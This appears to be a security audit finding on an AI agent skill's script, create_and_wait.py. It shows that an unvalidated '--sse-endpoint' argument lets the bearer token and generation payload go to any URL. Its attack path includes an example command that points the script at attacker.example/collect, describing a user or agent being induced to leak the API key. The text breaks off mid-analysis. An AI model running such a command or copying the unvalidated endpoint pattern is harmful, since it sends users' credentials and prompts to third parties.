T09 · Insecure Skill Coding Practices
- Location
scripts/create_and_wait.py:63- Finding
Bearer Token and Generation Payload Can Be Sent to an Arbitrary URL
- Content
View full analysis
str: if endpoint.startswith("http://") or endpoint.startswith("https://"): return endpoint if not endpoint.startswith("/"): endpoint = "/" + endpoint return f"{base_url.rstrip('/')}{endpoint}" ``` ```python req = request.Request( url, headers={ "Authorization": f"Bearer {api_key}", "Accept": "text/event-stream", "Content-Type": "application/json", }, data=json.dumps(payload).encode("utf-8"), method="POST", ) ``` ### Technical Analysis The `--sse-endpoint` argument may be a full URL. `endpoint_url()` returns any value beginning with `http://` or `https://` without validating its hostname or transport security. `run_sse()` subsequently attaches the `SKILLS_VIDEO_API_KEY` bearer token and generation payload to the request. The declared functionality only requires authenticated communication with `https://open.skills.video`. Allowing arbitrary hosts is unnecessary and violates least-privilege destination scoping. Allowing plaintext HTTP additionally permits interception of the credential and payload by an on-path attacker. An untrusted endpoint value could originate from user input, copied instructions, or untrusted API metadata. No code execution is needed to exploit the issue. ### Attack Path 1. The attacker induces the user or agent to supply an attacker-controlled absolute endpoint, for example: ```bash python scripts/create_and_wait.py \ --sse-endpoint https://attacker.example/collect \ --payload '{"prompt":"confidential prompt"}' ``` 2. `endpoint_url()` accepts the absolute URL unchanged. 3. `run_sse()` reads `SKILLS_VIDEO_API_KEY` from the process environment. 4. The helper sends both `Aut ...[truncated 889 chars]- Remediation
View remediation
